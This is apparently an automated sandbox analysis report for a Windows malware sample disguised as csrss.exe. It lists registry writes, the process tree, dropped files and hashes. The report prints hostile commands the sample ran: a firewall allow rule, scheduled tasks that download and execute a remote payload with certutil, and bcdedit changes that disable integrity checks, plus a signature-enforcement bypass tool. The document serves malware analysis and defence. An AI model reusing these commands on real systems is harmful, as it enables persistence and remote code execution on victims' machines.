e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a31400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a419000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a4419000000010000001000000014c3bd3549ee225aece13734ad8ca0b8030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f390f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exee4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.execsrss.exepid process 1544 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe 1084 csrss.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.execsrss.exedescription pid process Token: SeDebugPrivilege 1544 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Token: SeImpersonatePrivilege 1544 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Token: SeSystemEnvironmentPrivilege 1084 csrss.exe -
Suspicious use of WriteProcessMemory 58 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.execmd.exepatch.execsrss.exedescription pid process target process PID 1100 wrote to memory of 1820 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe cmd.exe PID 1100 wrote to memory of 1820 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe cmd.exe PID 1100 wrote to memory of 1820 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe cmd.exe PID 1100 wrote to memory of 1820 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe cmd.exe PID 1820 wrote to memory of 548 1820 cmd.exe netsh.exe PID 1820 wrote to memory of 548 1820 cmd.exe netsh.exe PID 1820 wrote to memory of 548 1820 cmd.exe netsh.exe PID 1100 wrote to memory of 1084 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe csrss.exe PID 1100 wrote to memory of 1084 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe csrss.exe PID 1100 wrote to memory of 1084 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe csrss.exe PID 1100 wrote to memory of 1084 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe csrss.exe PID 1992 wrote to memory of 868 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 868 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 868 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 972 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 972 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 972 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1312 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1312 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1312 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1648 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1648 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1648 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1476 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1476 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1476 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1624 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1624 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1624 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1488 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1488 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1488 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1880 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1880 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1880 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1528 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1528 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1528 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1692 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1692 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1692 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1940 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1940 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 1940 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 984 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 984 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 984 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 752 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 752 1992 patch.exe bcdedit.exe PID 1992 wrote to memory of 752 1992 patch.exe bcdedit.exe PID 1084 wrote to memory of 1092 1084 csrss.exe bcdedit.exe PID 1084 wrote to memory of 1092 1084 csrss.exe bcdedit.exe PID 1084 wrote to memory of 1092 1084 csrss.exe bcdedit.exe PID 1084 wrote to memory of 1092 1084 csrss.exe bcdedit.exe PID 1084 wrote to memory of 996 1084 csrss.exe dsefix.exe PID 1084 wrote to memory of 996 1084 csrss.exe dsefix.exe PID 1084 wrote to memory of 996 1084 csrss.exe dsefix.exe PID 1084 wrote to memory of 996 1084 csrss.exe dsefix.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe"C:\Users\Admin\AppData\Local\Temp\e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe"C:\Users\Admin\AppData\Local\Temp\e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193227.log C:\Windows\Logs\CBS\CbsPersist_20230129193227.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD54f22f6d197f336b668b31e2470c2c857
SHA1c96ebad60609561a1fc8f6e8dc78612b39145110
SHA256e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88
SHA512616c93a8f0b254c624c53fbe1c1f984e79e5c71ecc05a52c8003410317411bb2d49fe8cfc0bb3680a3707ceaf65ddacf0a452334a32fa195b773f8deeb057970
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\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.9MB
MD54f22f6d197f336b668b31e2470c2c857
SHA1c96ebad60609561a1fc8f6e8dc78612b39145110
SHA256e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88
SHA512616c93a8f0b254c624c53fbe1c1f984e79e5c71ecc05a52c8003410317411bb2d49fe8cfc0bb3680a3707ceaf65ddacf0a452334a32fa195b773f8deeb057970
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\Windows\rss\csrss.exeFilesize
3.9MB
MD54f22f6d197f336b668b31e2470c2c857
SHA1c96ebad60609561a1fc8f6e8dc78612b39145110
SHA256e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88
SHA512616c93a8f0b254c624c53fbe1c1f984e79e5c71ecc05a52c8003410317411bb2d49fe8cfc0bb3680a3707ceaf65ddacf0a452334a32fa195b773f8deeb057970
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memory/548-62-0x000007FEFBAF1000-0x000007FEFBAF3000-memory.dmpFilesize
8KB
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memory/548-61-0x0000000000000000-mapping.dmp
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memory/752-98-0x0000000000000000-mapping.dmp
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memory/868-86-0x0000000000000000-mapping.dmp
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memory/972-87-0x0000000000000000-mapping.dmp
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memory/984-97-0x0000000000000000-mapping.dmp
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memory/996-101-0x0000000000000000-mapping.dmp
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memory/1084-67-0x0000000000000000-mapping.dmp
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memory/1084-82-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1084-71-0x0000000000E30000-0x00000000011D8000-memory.dmpFilesize
3.7MB
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memory/1084-79-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1084-69-0x0000000000E30000-0x00000000011D8000-memory.dmpFilesize
3.7MB
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memory/1092-99-0x0000000000000000-mapping.dmp
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memory/1100-70-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1100-64-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1100-63-0x0000000000DA0000-0x0000000001148000-memory.dmpFilesize
3.7MB
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memory/1100-58-0x0000000000DA0000-0x0000000001148000-memory.dmpFilesize
3.7MB
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memory/1312-88-0x0000000000000000-mapping.dmp
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memory/1476-90-0x0000000000000000-mapping.dmp
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memory/1488-92-0x0000000000000000-mapping.dmp
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memory/1528-94-0x0000000000000000-mapping.dmp
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memory/1544-54-0x0000000000E10000-0x00000000011B8000-memory.dmpFilesize
3.7MB
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memory/1544-59-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
